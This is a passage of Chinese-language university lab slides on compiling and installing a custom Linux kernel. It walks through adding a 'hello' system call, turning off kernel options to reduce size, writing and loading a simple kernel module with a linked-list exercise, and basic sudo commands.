   printk("Ubuntu Kernel Lab!\n");
   return 1;
}
```

新增System Call

- 新增Makefile，確保客製的程式會被編譯進Kernel
  - islab@ubuntu:~/linux-4.16/newsyscall$ gedit Makefile

```
obj-y := lab.o
```

- 切換回Kernel根目錄，修改Makefile
  - islab@ubuntu:~/linux-4.16$ gedit Makefile
- core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/
  - 找到這行，在最後面新增 newsyscall/

```
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ newsyscall/
```

新增System Call

- 新增客製的System Call到System Call Table

```
islab@ubuntu:~/linux-4.16$ gedit arch/x86/entry/syscalls/syscall_64.tbl
```

  - 在最後面新增一行，原本system call只到547號，這邊填548號

```
548    x32    hellolab              sys_hellolab
```

- 修改System Call Header
  - islab@ubuntu:~/linux-4.16$ gedit include/linux/syscalls.h
  - 在最下面(#endif前)新增一行

```
asmlinkage int hellolab(void);
```

編譯新版Kernel(約需0.5~1小時)

- 請依虛擬機配置核心數設定，如只配置一個核心可不用輸入-j 4，-j 4 代表使用四核心進行編譯，可加快速度
  - islab@ubuntu:~/linux-4.16$ sudo make -j 4 clean
  - islab@ubuntu:~/linux-4.16$ sudo make -j 4
  - islab@ubuntu:~/linux-4.16$ sudo make modules -j 4

安裝新版Kernel

- islab@ubuntu:~/linux-4.16$ sudo make modules_install
- islab@ubuntu:~/linux-4.16$ sudo make install
- 指令執行完後重開機

查看Kernel版本

- 查看目前系統Kernel版本資訊，可發現系統使用新版Kernel
  - islab@ubuntu:~$ uname –a

```
kernel@ubuntu: ~
kernel@ubuntu:~$ uname -a
Linux ubuntu 4.16.0 #1 SMP Sat Jan 4 15:20:20 PST 2020 x86_64 x86_64 x86_64 GNU/
Linux
kernel@ubuntu:~$
```

測試新增System Call

- 在Home目錄寫C程式執行System Call (548為syscall 編號)
  - islab@ubuntu:~$ gedit test.c

```
#include <sys/syscall.h>
#include <sys/types.h>
int main(){
    int a = syscall(548);
    return 0;
}
```

- 編譯程式
  - islab@ubuntu:~$ gcc -g -Wall test.c -o test
- 執行程式
  - islab@ubuntu:$ ./test

測試新增System Call

- 查看kernel輸出的訊息
  - islab@ubuntu:$ dmesg

```
kernel@ubuntu: ~
[    9.883136] audit: type=1400 audit(1578223837.703:7): apparmor="STATUS" opera
tion="profile_load" profile="unconfined" name="/usr/lib/lightdm/lightdm-guest-se
ssion//chromium" pid=629 comm="apparmor_parser"
[    9.990132] audit: type=1400 audit(1578223837.811:8): apparmor="STATUS" opera
tion="profile_load" profile="unconfined" name="/usr/sbin/cups-browsed" pid=768 c
omm="apparmor_parser"
[   10.023595] audit: type=1400 audit(1578223837.843:9): apparmor="STATUS" opera
tion="profile_load" profile="unconfined" name="webbrowser-app" pid=632 comm="app
armor_parser"
[   10.023901] audit: type=1400 audit(1578223837.843:10): apparmor="STATUS" oper
ation="profile_load" profile="unconfined" name="webbrowser-app//oxide_helper" pi
d=632 comm="apparmor_parser"
[   10.086849] audit: type=1400 audit(1578223837.903:11): apparmor="STATUS" oper
ation="profile_load" profile="unconfined" name="/usr/sbin/ippusbxd" pid=772 comm
="apparmor_parser"
[   13.191669] IPv6: ADDRCONF(NETDEV_UP): ens33: link is not ready
[   13.197857] IPv6: ADDRCONF(NETDEV_UP): ens33: link is not ready
[   13.205000] e1000: ens33 NIC Link is Up 1000 Mbps Full Duplex, Flow Control:
None
[   13.206221] IPv6: ADDRCONF(NETDEV_CHANGE): ens33: link becomes ready
[ 8494.539972] Ubuntu Kernel Lab!
```

設定Config縮減Kernel大小

- 查看原始Kernel Size
  - islab@ubuntu:$ ls -lha /boot | grep 4.16.0

```
kernel@ubuntu: ~
kernel@ubuntu:~$ ls -lha /boot | grep 4.16.0
-rw-r--r--  1 root root 213K Jan  5 03:27 config-4.16.0
-rw-r--r--  1 root root 435M Jan  5 03:28 initrd.img-4.16.0
-rw-r--r--  1 root root 3.9M Jan  5 03:27 System.map-4.16.0
-rw-r--r--  1 root root 7.9M Jan  5 03:27 vmlinuz-4.16.0
```

設定Config縮減Kernel大小

- 設定Config方法如前，假設將Security options選項取消

```
.config - Linux/x86 4.16.0 Kernel Configuration
                Linux/x86 4.16.0 Kernel Configuration
  Arrow keys navigate the menu.  <Enter> selects submenus ---> (or empty
  submenus ----).  Highlighted letters are hotkeys.  Pressing <Y>
  includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to
  exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ]
      Bus options (PCI etc.)  --->
      Executable file formats / Emulations  --->
  [*] Networking support  --->
      Device Drivers  --->
      Firmware Drivers  --->
      File systems  --->
      Kernel hacking  --->
      Security options  --->
  -*- Cryptographic API  --->
  [*] Virtualization  --->

      <Select>    < Exit >    < Help >    < Save >    < Load >
```

```
.config - Linux/x86 4.16.0 Kernel Configuration
> Security options
                Security options
  Arrow keys navigate the menu.  <Enter> selects submenus ---> (or empty
  submenus ----).  Highlighted letters are hotkeys.  Pressing <Y>
  includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to
  exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ]
  -*- Enable access key retention support
  [.]   Enable register of persistent per-UID keyrings
  [.]   Large payload keys
  < >   TRUSTED KEYS
  <*>   ENCRYPTED KEYS
  [.]   Diffie-Hellman operations on retained keys
  [.] Restrict unprivileged access to the kernel syslog
  [.] Enable different security models
  -*- Enable the securityfs filesystem
  [ ] Remove the kernel mapping in user mode

      <Select>    < Exit >    < Help >    < Save >    < Load >
```

設定Config縮減Kernel大小

- 重新編譯安裝Kernel
  - islab@ubuntu:~/linux-4.16$ sudo make -j 4 clean
  - islab@ubuntu:~/linux-4.16$ sudo make -j 4
  - islab@ubuntu:~/linux-4.16$ sudo make modules -j 4
  - islab@ubuntu:~/linux-4.16$ sudo make modules_install
  - islab@ubuntu:~/linux-4.16$ sudo make install
  - 指令執行完後重開機

設定Config縮減Kernel大小

- 查看取消Security options後的Kernel Size
  - islab@ubuntu:$ ls -lha /boot | grep 4.16.0

```
kernel@ubuntu: ~/linux-4.16
kernel@ubuntu:~/linux-4.16$ ls -lha /boot | grep 4.16.0
-rw-r--r--  1 root root 211K Jan  5 13:51 config-4.16.0
-rw-r--r--  1 root root 213K Jan  5 03:27 config-4.16.0.old
-rw-r--r--  1 root root 434M Jan  5 13:52 initrd.img-4.16.0
-rw-r--r--  1 root root 3.8M Jan  5 13:51 System.map-4.16.0
-rw-r--r--  1 root root 3.9M Jan  5 03:27 System.map-4.16.0.old
-rw-r--r--  1 root root 7.5M Jan  5 13:51 vmlinuz-4.16.0
-rw-r--r--  1 root root 7.9M Jan  5 03:27 vmlinuz-4.16.0.old
```

新增核心模組

- lsmod，檢視目前載入的核心模組
- 在任意目錄(例如 ~/Test)建立 simple.c 檔案

```
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
// 載入模組時呼叫的函式
int simple_init(void) {
    printk(KERN_INFO "Load Module\n"); return 0;
}
// 解除安裝模組時呼叫的函式
void simple_exit(void) {
    printk(KERN_INFO "Remove Module\n");
}  // 註冊模組入口和出口
module_init(simple_init);
module_exit(simple_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Simple Module");
MODULE_AUTHOR("KJY");
```

新增核心模組

- 程式說明
  - module_init()，module_exit()兩巨集向核心註冊函式為模組入口和出口函式。
  - simple_init 模組入口(module entry point)，模組載入核心時呼叫；simple_exit模組出口(module exit point)，模組從核心移除時呼叫。
  - 模組入口函式須返回整數，0表載入成功，其他值表失敗；模組出口函式須回傳 void，兩函式都不傳引數。
  - printk()函式可視為核心版printf()(核心程式設計預設無printf())。
    - 輸出到核心日誌緩衝區裡(kernel log buffer)，使用dmesg檢視
    - printk() 提供 priority flag，可設值定義在<linux/printk.h>中，例如 KERN_INFO 代表 informational message.
  - 以 MODULE_ 開頭顯示模組證書(LICENSE)、描述(DESCRIPTION)和作者(AUTHOR)，是核心模組開發標準要求

新增核心模組

- Makefile

```
PWD         := $(shell pwd)
KVERSION    := $(shell uname -r)
KERNEL_DIR   = /usr/src/linux-headers-$(KVERSION)/
MODULE_NAME  = simple
obj-m       := $(MODULE_NAME).o
all:
            make -C $(KERNEL_DIR) M=$(PWD) modules
clean:
            make -C $(KERNEL_DIR) M=$(PWD) clean
```

新增核心模組

- 原始檔 simple.c 和 Makefile 放到同一個目錄
  - 在命令列下進入該目錄,，輸入make指令完成編譯

```
jykuo@ubuntu:~/Test$ make
make -C /usr/src/linux-headers-4.2.0-27-generic/ M=/home/jykuo/Test  modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic'
  CC [M]  /home/jykuo/Test/simple.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/jykuo/Test/simple.mod.o
  LD [M]  /home/jykuo/Test/simple.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic'
```

  - 結束後目錄檔案:

```
jykuo@ubuntu:~/Test$ ls
Makefile       Module.symvers  simple.ko     simple.mod.o
modules.order  simple.c        simple.mod.c  simple.o
```

新增核心模組

- 清空核心日誌緩衝區
  - dmesg -c
- 載入核心模組
  - sudo insmod simple.ko
- 顯示目前載入核心模組
  - lsmod，一般會出現第一行
- 檢視核心日誌緩衝區
  - dmesg，顯示，載入 simple 模組時，入口函式被呼叫而寫進日誌的資訊 "Load Module"。

```
jykuo@ubuntu:~/Test$ sudo dmesg -c
jykuo@ubuntu:~/Test$ sudo insmod simple.ko
jykuo@ubuntu:~/Test$ lsmod
Module                  Size  Used by
simple                 16384  0
crct10dif_pclmul       16384  0
crc32_pclmul           16384  0
snd_ens1371            28672  2
aesni_intel           167936  0
```

```
jykuo@ubuntu:~/Test$ sudo dmesg
[26905.779485] Load Module
```

新增核心模組

- 移除核心模組
  - sudo rmmod simple
- 檢視核心日誌緩衝區(顯示模組出口函式被呼叫訊息)
  - dmesg

```
jykuo@ubuntu:~/Test$ sudo rmmod simple
jykuo@ubuntu:~/Test$ sudo dmesg
[26905.779485] Load Module
[27197.316522] Remove Module
```

- 檢視目前核心模組，沒有simple

```
jykuo@ubuntu:~/Test$ lsmod
Module                  Size  Used by
crct10dif_pclmul       16384  0
crc32_pclmul           16384  0
snd_ens1371            28672  2
```

Exercise

- simple.c換成以下程式碼

```
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/slab.h>
//#define DEBUG       //DEBUG MODE
struct birthday {
    #ifdef DEBUG
    char* name;
    #endif
    int day;
    int month;
    int year;
    struct list_head list;
};
static LIST_HEAD(birthday_list);
struct birthday* new_birthday(
    #ifdef DEBUG
   char* name,
   #endif
```

Exercise

- simple.c換成以下程式碼

```
int year,int month,int day){
    struct birthday* new_bd;
    new_bd= kmalloc(sizeof(*new_bd),GFP_KERNEL);
    new_bd->day=day;
    new_bd->month=month;
    new_bd->year=year;
    #ifdef DEBUG
    new_bd->name=name;
    #endif
    INIT_LIST_HEAD(&(new_bd->list));
    return new_bd;
}
void print_birthday(struct birthday* bd){
    #ifdef DEBUG
    printk(KERN_INFO "Name: %s\t",bd->name);
    #endif
    printk(KERN_INFO "Birthday: %d/%d/%d\n",bd->year,bd->month,bd->day);
}
```

Exercise

- simple.c換成以下程式碼

```
int simple_init(void) {
   #ifdef DEBUG
   char* names[5]={"nawanawa","b","c","d","e"};
   #endif
   int days[5] = {24,2,4,8,16},months[5]={1,2,3,4,5},years[5]={1998,2002,2003,2004,2005},i=0;
   struct birthday* bd;
   for(;i<5;i++)       list_add_tail(&(new_birthday(
         #ifdef DEBUG
         names[i],
         #endif
         years[i],months[i],days[i])->list) , &(birthday_list));
      list_for_each_entry(bd, &birthday_list, list) {
      print_birthday(bd);
   }
   return 0;
}
```

Exercise

- simple.c換成以下程式碼

```
void simple_exit(void){
    struct birthday* ptr,*next;
    printk(KERN_INFO "== Removed following elements in birthday_list =");
    list_for_each_entry_safe(ptr,next,&birthday_list,list){
        print_birthday(ptr);
        list_del(&(ptr->list));
        kfree(ptr);
    }
}
module_init(simple_init);
module_exit(simple_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Simple Module");
MODULE_AUTHOR("KJY");
```

Linux 核心編譯

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

核心Kernel

- 電腦真正運作是「硬體」
  - 運算使用 CPU、資料儲存使用硬碟
  - 圖形顯示使用顯示卡、連接 Internet使用網路卡
- Kernel
  - 提供硬體抽象層、磁碟及檔案系統、多任務控制等功能的系統軟體。
  - 一個核心不是一套完整的作業系統。
  - 一套基于Linux核心的完整作業系統稱Linux作業系統，或GNU/Linux。
- Kernel任務
  - 控制硬體運作。
  - 負責管理系統的程序(Process)、記憶體、設備驅動程式、檔案系統和網路系統，決定系統的性能和穩定性。

Kernel

- 微核心(Microkernel kernel)
  - 依功能劃分為多個獨立程序(Process)，稱為Server。
  - 特權Server執行在特權模式下，提供很小部分的硬體抽象。
  - 一般Server執行，**一般**設計在使用者空間(Windows NT不是)。
  - 模組化設計，使"核心的核心"設計更簡單。
  - 所有Server都保持獨立的地址執行空間，不能像單核心那樣直接呼叫函式(Server功能)，而是透過訊息傳遞處理通訊IPC(Inter Process Communication)機制。
  - 例子：AIX，BeOS，L4微核心系列，Mach中GNU Hurd、Mac OS X，Minix，MorphOS，QNX，RadiOS，Windows NT。

Kernel

- 單核心(Monolithic kernel)
  - 核心所有服務都執行在同一地址空間(核心空間)。
  - 核心可以直接呼叫其他模組的函式。
  - 程式碼高度整合(耦合)，小的Bug容易使系統不穩定，但運作較有效率。
  - 通常以單一靜態二進位檔案儲存在磁碟，或快取記憶體，在啟動後被載入記憶體中的核心空間，開始運作。
  - 多數作業系統都已能在運作執行階段，以動態方式載入(Load)、解除安裝(Unload)可執行的模組，不過這些模組是屬於二進位程式碼的層次，或稱映像層次，而非核心系統架構的層次。
  - 例子： UNIX核心，Linux核心。

Linux Kernel

- 開源的類Unix作業系統 - 單核心。
- 整個 Linux 作業系統家族基於該核心部署個人電腦、伺服器和各種嵌入式平台（如路由器、無線存取點、專用小交換機、機上盒、FTA 接收器、智慧型電視、數位影片錄影機、網路附加儲存（NAS）
- 平板電腦、智慧型手機及智慧型手錶的 Android 作業系統同樣基於 Linux Kernel的服務。
- 雖桌面電腦的占用率較低，基於Linux的作業系統幾乎從行動裝置到主機的其他全部領域。世界前500台最強的超級電腦全部使用Linux。

Linux Kernel(前置準備)

- 此Lab以Ubuntu 20.04.1 Desktop version做為系統版本，下載
- 安裝完 Linux Ubuntu後更新、升級相關套件(30~60 min)
  - sudo apt update
  - sudo apt upgrade
- 查看目前系統使用的Kernel版本資訊
  - uname -a

安裝編譯所需套件(前置準備)

- 請務必以下列指令安裝相依套件
  - sudo apt install build-essential libncurses-dev libssl-dev libelf-dev bison flex -y

下載新版Kernel程式碼

- 下載相依套件
  - sudo apt install build-essential libncurses-dev libssl-dev libelf-dev bison flex -y
- Linux Kernel是開源計畫，下載Source code解壓縮
  - 在https://www.kernel.org/取得Kernel。以下使用5.9.6版為例
  - 使用wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/snapshot/linux-5.9.6.tar.gz
- 解壓縮 tar -xvf linux-5.9.6.tar.gz
- 切換至linux-5.9.6目錄下，cd linux-5.9.6

```
kernel@ubuntu:~$ wget https://github.com/torvalds/linux/archive/v4.16.tar.gz
--2020-03-26 02:19:50--  https://github.com/torvalds/linux/archive/v4.16.tar.gz
Resolving github.com (github.com)... 140.82.112.3
Connecting to github.com (github.com)|140.82.112.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/torvalds/linux/tar.gz/v4.16 [following]
--2020-03-26 02:19:51--  https://codeload.github.com/torvalds/linux/tar.gz/v4.16
Resolving codeload.github.com (codeload.github.com)... 140.82.113.10
Connecting to codeload.github.com (codeload.github.com)|140.82.113.10|:443... co
nnected.
```

設定 config 檔

- 產生新的Config檔案，選取Save按Enter
  - make menuconfig

  - Config filename保持預設即可，按下Enter

設定 config 檔

- 選擇Exit

```
.config - Linux/x86 4.16.0 Kernel Configuration

                Linux/x86 4.16.0 Kernel Configuration
  Arrow keys navigate the menu.  <Enter> selects submenus ---> (or empty
  submenus ----).  Highlighted letters are hotkeys.  Pressing <Y>
  includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to
  exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ]

      [*] 64-bit kernel
          General setup  --->
      [*] Enable loadable module support  --->
      [*] Enable the block layer  --->
          Processor type and features  --->
          Power management and ACPI options  --->
          Bus options (PCI etc.)  --->
          Executable file formats / Emulations  --->
      [*] Networking support  --->
          Device Drivers  --->
          Firmware Drivers  --->
          File systems  --->
          Kernel hacking  --->
          Security options  --->
      └(+)

        <Select>    < Exit >    < Help >    < Save >    < Load >
```

新增System Call

- 切換至linux-5.9目錄下
  - cd linux-5.9/
- 建立新的資料夾並切換到該資料夾中
  - mkdir hello
  - cd hello
- 新增一個新的System call程式
  - gedit hello.c

```
#include <linux/kernel.h>
#include <linux/syscalls.h>
SYSCALL_DEFINE0(hello){
    printk("Hello World.\n");
    return 0;
}
```

新增System Call

- 新增Makefile，確保客製的程式會被編譯進Kernel
  - gedit Makefile

```
obj-y := hello.o
```

- 切換回Kernel根目錄，修改Makefile
  - gedit Makefile
- core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/
  - 找到這行，在最後面新增 hello/

```
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ hello/
```

新增System Call

- 新增客製的System Call到System Call Table
  - gedit arch/x86/entry/syscalls/syscall_64.tbl
- 在common最後新增一行，此類system call到439，此填440
  - 440 common hello sys_hello
- 修改System Call Header
  - gedit include/linux/syscalls.h
- 在最下面(#endif前)新增一行
  - asmlinkage long sys_hello(void);

編譯新版Kernel(約需0.5~1小時)

- 設定kernel
  - make menuconfig
- 查詢虛擬機核心數
  - nproc
- 請依虛擬機配置核心數設定，如只配置一個核心可不用輸入-j 4，-j 4 代表使用四核心進行編譯，可加快速度
  - sudo make –j 4 clean
  - sudo make –j 4
  - sudo make modules -j 4 (省略)

安裝新版Kernel

- 安裝新版Kernel
  - sudo make modules_install –j 4
  - sudo make install –j 4
- 更新bootloader
  - sudo update-grub
- 指令執行完後重開機
- 查看目前系統Kernel版本資訊，可發現系統使用新版Kernel
  - uname -a

```
kjy@ubuntu:~$ uname -a
Linux ubuntu 5.9.6 #1 SMP Sat Nov 7 11:36:28 PST 2020 x86_64 x86_64 x86_64 GNU/
Linux
```

測試新增System Call

- 在Home目錄寫C程式執行System Call (440為syscall 編號)
  - gedit test.c

```
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(){
    int a = syscall(440);
    printf("Hello World %d\n", a);
    return 0;
}
```

- 編譯程式
  - gcc -g -Wall test.c -o test
- 執行程式
  - ./test
- 查看kernel輸出的訊息
  - dmesg | grep

```
kjy@ubuntu:~$ dmesg | grep Hello
[ 7499.046356] Hello World.
```

設定Config縮減Kernel大小

- 查看原始Kernel Size
  - ls -lha /boot | grep 5.9

```
kjy@ubuntu:~$ ls -lha /boot |grep 5.9
-rw-r--r--  1 root root 242K Nov  7 16:29 config-5.9.6
-rw-r--r--  1 root root 637M Nov  7 16:30 initrd.img-5.9.6
-rw-r--r--  1 root root 5.2M Nov  7 16:29 System.map-5.9.6
lrwxrwxrwx  1 root root   13 Nov  7 16:29 vmlinuz -> vmlinuz-5.9.6
-rw-r--r--  1 root root  12M Nov  7 16:29 vmlinuz-5.9.6
```

設定Config縮減Kernel大小

- 設定Config方法如前，假設將Security options選項取消

設定Config縮減Kernel大小

- 重新編譯安裝Kernel
  - sudo make -j 4 clean
  - sudo make -j 4
  - sudo make modules -j 4
  - sudo make modules_install
  - sudo make install
  - 指令執行完後重開機

設定Config縮減Kernel大小

- 查看取消Security options後的Kernel Size
  - ls -lha /boot | grep 5.9

```
kjy@ubuntu:~$ ls -lha /boot | grep 5.8.1
-rw-r--r--  1 root root 238K Nov  7 03:01 config-5.8.1
-rw-r--r--  1 root root 241K Nov  6 22:11 config-5.8.1.old
-rw-r--r--  1 root root 631M Nov  7 03:03 initrd.img-5.8.1
-rw-r--r--  1 root root 5.1M Nov  7 03:01 System.map-5.8.1
-rw-r--r--  1 root root 5.2M Nov  6 22:11 System.map-5.8.1.old
lrwxrwxrwx  1 root root   13 Nov  7 03:01 vmlinuz -> vmlinuz-5.8.1
-rw-r--r--  1 root root  11M Nov  7 03:01 vmlinuz-5.8.1
-rw-r--r--  1 root root  12M Nov  6 22:11 vmlinuz-5.8.1.old
lrwxrwxrwx  1 root root   17 Nov  7 03:01 vmlinuz.old -> vmlinuz-5.8.1.old
```

新增核心模組

- lsmod，檢視目前載入的核心模組(本範例使用5.4.20版本)
- 在任意目錄(例如 ~/Test)建立 simple.c 檔案

```
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
// 載入模組時呼叫的函式
int simple_init(void) {
    printk(KERN_INFO "Load Module\n"); return 0;
}
// 解除安裝模組時呼叫的函式
void simple_exit(void) {
    printk(KERN_INFO "Remove Module\n");
}   // 註冊模組入口和出口
module_init(simple_init);
module_exit(simple_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Simple Module");
MODULE_AUTHOR("KJY");
```

新增核心模組

- 程式說明
  - module_init()，module_exit()兩巨集向核心註冊函式為模組入口和出口函式。
  - simple_init 模組入口(module entry point)，模組載入核心時呼叫；simple_exit模組出口(module exit point)，模組從核心移除時呼叫。
  - 模組入口函式須返回整數，0表載入成功，其他值表失敗；模組出口函式須回傳 void，兩函式都不傳引數。
  - printk()函式可視為核心版printf()(核心程式設計預設無printf())。
    - 輸出到核心日誌緩衝區裡(kernel log buffer)，使用dmesg檢視
    - printk() 提供 priority flag，可設值定義在<linux/printk.h>中，例如 KERN_INFO 代表 informational message.
  - 以 MODULE_ 開頭顯示模組證書(LICENSE)、描述(DESCRIPTION)和作者(AUTHOR)，是核心模組開發標準要求

新增核心模組

- Makefile

```
PWD         := $(shell pwd)
KVERSION    := $(shell uname -r)
KERNEL_DIR   = /usr/src/linux-headers-$(KVERSION)/
MODULE_NAME  = simple
obj-m       := $(MODULE_NAME).o
all:
        make -C $(KERNEL_DIR) M=$(PWD) modules
clean:
        make -C $(KERNEL_DIR) M=$(PWD) clean
```

如果make失敗，參數改填目前Kernel版本 e.g. /usr/src/linux-headers-5.4.0/

- all:後面要換行，下一行要用Tab

新增核心模組

- 原始檔 simple.c 和 Makefile 放到同一個目錄
  - 在命令列下進入該目錄,，輸入make指令完成編譯

```
kjy@ubuntu:~/Test$ make
make -C /usr/src/linux-headers-5.4.0-52-generic/ M=/home/kjy/Test modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-52-generic'
  CC [M]  /home/kjy/Test/simple.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/kjy/Test/simple.mod.o
  LD [M]  /home/kjy/Test/simple.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-52-generic'
```

  - 結束後目錄檔案:

```
jykuo@ubuntu:~/Test$ ls
Makefile        Module.symvers  simple.ko     simple.mod.o
modules.order   simple.c        simple.mod.c  simple.o
```

新增核心模組

- 清空核心日誌緩衝區
  - sudo dmesg -c
- 載入核心模組
  - sudo insmod simple.ko
- 顯示目前載入核心模組
  - lsmod，一般會出現第一行

```
[   10.620005] NET: Registered protocol family 40
[   23.843837] rfkill: input handler disabled
[   31.162907] rfkill: input handler enabled
[   37.948921] rfkill: input handler disabled
kjy@ubuntu:~/Test$ sudo insmod simple.ko
kjy@ubuntu:~/Test$ lsmod
Module                  Size  Used by
simple                 16384  0
vmw_vsock_vmci_transport    32768  2
```

- 檢視核心日誌緩衝區
  - dmesg，顯示，載入 simple 模組時，入口函式被呼叫而寫進日誌的資訊 "Load Module"。

```
kjy@ubuntu:~/Test$ dmesg
[ 1344.172083] simple: loading out-of-tree module taints kernel.
[ 1344.172104] simple: module verification failed: signature and/or required ke
y missing - tainting kernel
[ 1344.172706] Load Module
```

新增核心模組

- 移除核心模組
  - sudo rmmod simple
- 檢視核心日誌緩衝區(顯示模組出口函式被呼叫訊息)
  - dmesg

```
kjy@ubuntu:~/Test$ sudo rmmod simple
kjy@ubuntu:~/Test$ dmesg
[ 1344.172083] simple: loading out-of-tree module taints kernel.
[ 1344.172104] simple: module verification failed: signature and/or required ke
y missing - tainting kernel
[ 1344.172706] Load Module
[ 1536.913508] Remove Module
```

- 檢視目前核心模組，沒有simple

```
kjy@ubuntu:~/Test$ lsmod
Module                  Size  Used by
vmw_vsock_vmci_transport    32768  2
vsock                  36864  3 vmw_vsock_vmci_transport
nls_iso8859_1          16384  1
snd_ens1371            28672  2
snd_ac97_codec        131072  1 snd_ens1371
```

Exercise

- simple.c換成以下程式碼

```
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/slab.h>
//#define DEBUG       //DEBUG MODE
struct birthday {
    #ifdef DEBUG
    char* name;
    #endif
    int day;
    int month;
    int year;
    struct list_head list;
};
static LIST_HEAD(birthday_list);
struct birthday* new_birthday(
    #ifdef DEBUG
   char* name,
   #endif
```

Exercise

- simple.c換成以下程式碼

```
int year,int month,int day){
    struct birthday* new_bd;
    new_bd= kmalloc(sizeof(*new_bd),GFP_KERNEL);
    new_bd->day=day;
    new_bd->month=month;
    new_bd->year=year;
    #ifdef DEBUG
    new_bd->name=name;
    #endif
    INIT_LIST_HEAD(&(new_bd->list));
    return new_bd;
}
void print_birthday(struct birthday* bd){
    #ifdef DEBUG
    printk(KERN_INFO "Name: %s\t",bd->name);
    #endif
    printk(KERN_INFO "Birthday: %d/%d/%d\n",bd->year,bd->month,bd->day);
}
```

Exercise

- simple.c換成以下程式碼

```
int simple_init(void) {
    #ifdef DEBUG
    char* names[5]={"nawanawa","b","c","d","e"};
    #endif
    int days[5] = {24,2,4,8,16},months[5]={1,2,3,4,5},years[5]={1998,2002,2003,2004,2005},i=0;
    struct birthday* bd;
    for(;i<5;i++)        list_add_tail(&(new_birthday(
            #ifdef DEBUG
            names[i],
            #endif
            years[i],months[i],days[i])->list) , &(birthday_list));
        list_for_each_entry(bd, &birthday_list, list) {
        print_birthday(bd);
    }
    return 0;
}
```

Exercise

- simple.c換成以下程式碼

```
void simple_exit(void){
    struct birthday* ptr,*next;
    printk(KERN_INFO "== Removed following elements in birthday_list =");
    list_for_each_entry_safe(ptr,next,&birthday_list,list){
        print_birthday(ptr);
        list_del(&(ptr->list));
        kfree(ptr);
    }
}
module_init(simple_init);
module_exit(simple_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Simple Module");
MODULE_AUTHOR("KJY");
```

Linux 超級使用者 sudoer

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

超級使用者-sudo

- Ubuntu Linux 系統預設安裝時基於安全考量，不啟用 root 帳號，無法用 root 直接登入系統，所有系統管理都透過 sudo取得 root 權限。
- sudo 指令
  - sudo 執行完指定指令後會自動離開root權限
  - 以 root 權限執行 ls -al，查看一般使用者無法讀取的目錄內容。

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo ls -al /root
[sudo] password for kernel:
total 24
drwx------  3 root root 4096 Feb  9 00:49 .
drwxr-xr-x 24 root root 4096 Feb  8 06:59 ..
-rw-------  1 root root  247 Feb  9 01:35 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Feb 28  2018 .cache
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
kernel@ubuntu:~$ ls -al /root
ls: cannot open directory '/root': Permission denied
kernel@ubuntu:~$
```

  - /root 目錄只有 root 權限可以查看

超級使用者-sudo

- sudo -u kernel ls ~kernel
  - 切換到 kernel帳號，查看 kernel家目錄

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo -u kernel ls ~kernel
Desktop     examples.desktop  Pictures   test          Videos
Documents   linux-4.16        Public     test.c
Downloads   Music             Templates  v4.16.tar.gz
kernel@ubuntu:~$
```

  - /root 目錄只有 root 權限可以查看

超級使用者-sudo

- sudo -g adm more /var/log/syslog
  - 切換到 adm 群組，查看 (more) 系統紀錄檔案

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo -g adm more /var/log/syslog
```

```
kernel@ubuntu: ~
Feb  9 00:49:07 ubuntu rsyslogd: [origin software="rsyslogd" swVersion="8.16.0"
x-pid="723" x-info="http://www.rsyslog.com"] rsyslogd was HUPed
Feb  9 00:49:13 ubuntu anacron[707]: Job `cron.daily' terminated
Feb  9 00:49:13 ubuntu anacron[707]: Normal exit (1 job run)
Feb  9 00:55:44 ubuntu dhclient[947]: DHCPREQUEST of 192.168.6.143 on ens33 to 1
92.168.6.254 port 67 (xid=0x53d47ea4)
Feb  9 00:55:44 ubuntu dhclient[947]: DHCPACK of 192.168.6.143 from 192.168.6.25
4
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1229]   address
192.168.6.143
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1230]   plen 24
(255.255.255.0)
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1231]   gateway
192.168.6.2
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1231]   server i
dentifier 192.168.6.254
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1233]   lease ti
me 1800
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1233]   nameserv
er '192.168.6.2'
Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1234]   domain n
ame 'localdomain'
